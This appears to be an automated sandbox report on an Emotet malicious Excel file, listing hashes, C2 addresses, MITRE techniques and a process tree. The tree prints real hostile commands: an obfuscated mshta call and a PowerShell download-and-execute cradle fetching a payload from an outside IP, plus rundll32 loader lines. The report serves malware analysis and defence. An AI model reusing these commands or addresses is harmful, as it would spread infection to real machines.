emotet | 6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

General

Target

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3820	2668	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

25 1212 mshta.exe
30 1720 powershell.exe
32 1720 powershell.exe
45 968 rundll32.exe
46 968 rundll32.exe
Downloads MZ/PE file
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Nhxledswqynbmquy\qivdsgsiy.dif rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3740 1212 WerFault.exe mshta.exe

flow	pid	process
25	1212	mshta.exe
30	1720	powershell.exe
32	1720	powershell.exe
45	968	rundll32.exe
46	968	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Nhxledswqynbmquy\qivdsgsiy.dif	rundll32.exe

pid	pid_target	process	target process
3740	1212	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2668 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 16 IoCs

Processes:

WerFault.exerundll32.exe

pid	process
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
968	rundll32.exe
968	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

WerFault.exe

description pid process

Token: SeDebugPrivilege 3740 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3740	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE
2668	EXCEL.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

EXCEL.EXEcmd.exemshta.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2668 wrote to memory of 3820	2668	EXCEL.EXE	cmd.exe
PID 2668 wrote to memory of 3820	2668	EXCEL.EXE	cmd.exe
PID 3820 wrote to memory of 1212	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 1212	3820	cmd.exe	mshta.exe
PID 1212 wrote to memory of 1720	1212	mshta.exe	powershell.exe
PID 1212 wrote to memory of 1720	1212	mshta.exe	powershell.exe
PID 1936 wrote to memory of 3384	1936	cmd.exe	rundll32.exe
PID 1936 wrote to memory of 3384	1936	cmd.exe	rundll32.exe
PID 1936 wrote to memory of 3384	1936	cmd.exe	rundll32.exe
PID 3384 wrote to memory of 2036	3384	rundll32.exe	rundll32.exe
PID 3384 wrote to memory of 2036	3384	rundll32.exe	rundll32.exe
PID 3384 wrote to memory of 2036	3384	rundll32.exe	rundll32.exe
PID 2036 wrote to memory of 3692	2036	rundll32.exe	rundll32.exe
PID 2036 wrote to memory of 3692	2036	rundll32.exe	rundll32.exe
PID 2036 wrote to memory of 3692	2036	rundll32.exe	rundll32.exe
PID 3692 wrote to memory of 968	3692	rundll32.exe	rundll32.exe
PID 3692 wrote to memory of 968	3692	rundll32.exe	rundll32.exe
PID 3692 wrote to memory of 968	3692	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2668

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3820

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe2.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
PID:1720

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1936

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Suspicious use of WriteProcessMemory
PID:3384

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nhxledswqynbmquy\qivdsgsiy.dif",dMGKTBdoUgBNSVX
8⤵
- Suspicious use of WriteProcessMemory
PID:3692

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Nhxledswqynbmquy\qivdsgsiy.dif",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:968

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1212 -s 1808
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/968-553-0x00000000033F0000-0x0000000003416000-memory.dmp

Filesize
152KB

Download
memory/968-555-0x0000000004D50000-0x0000000004D76000-memory.dmp

Filesize
152KB

Download
memory/2036-546-0x0000000004DC0000-0x0000000004DE6000-memory.dmp

Filesize
152KB

Download
memory/2036-540-0x00000000045E0000-0x0000000004606000-memory.dmp

Filesize
152KB

Download
memory/2036-550-0x0000000004F70000-0x0000000004F96000-memory.dmp

Filesize
152KB

Download
memory/2036-548-0x0000000004E20000-0x0000000004E46000-memory.dmp

Filesize
152KB

Download
memory/2036-544-0x0000000004CC0000-0x0000000004CE6000-memory.dmp

Filesize
152KB

Download
memory/2668-116-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/2668-129-0x00007FFD43CA0000-0x00007FFD43CB0000-memory.dmp

Filesize
64KB

Download
memory/2668-115-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/2668-128-0x00007FFD43CA0000-0x00007FFD43CB0000-memory.dmp

Filesize
64KB

Download
memory/2668-119-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/2668-117-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/2668-118-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/2668-595-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/2668-594-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/2668-596-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/2668-597-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3384-537-0x0000000004B20000-0x0000000004B46000-memory.dmp

Filesize
152KB

Download
memory/3692-552-0x0000000004620000-0x0000000004646000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads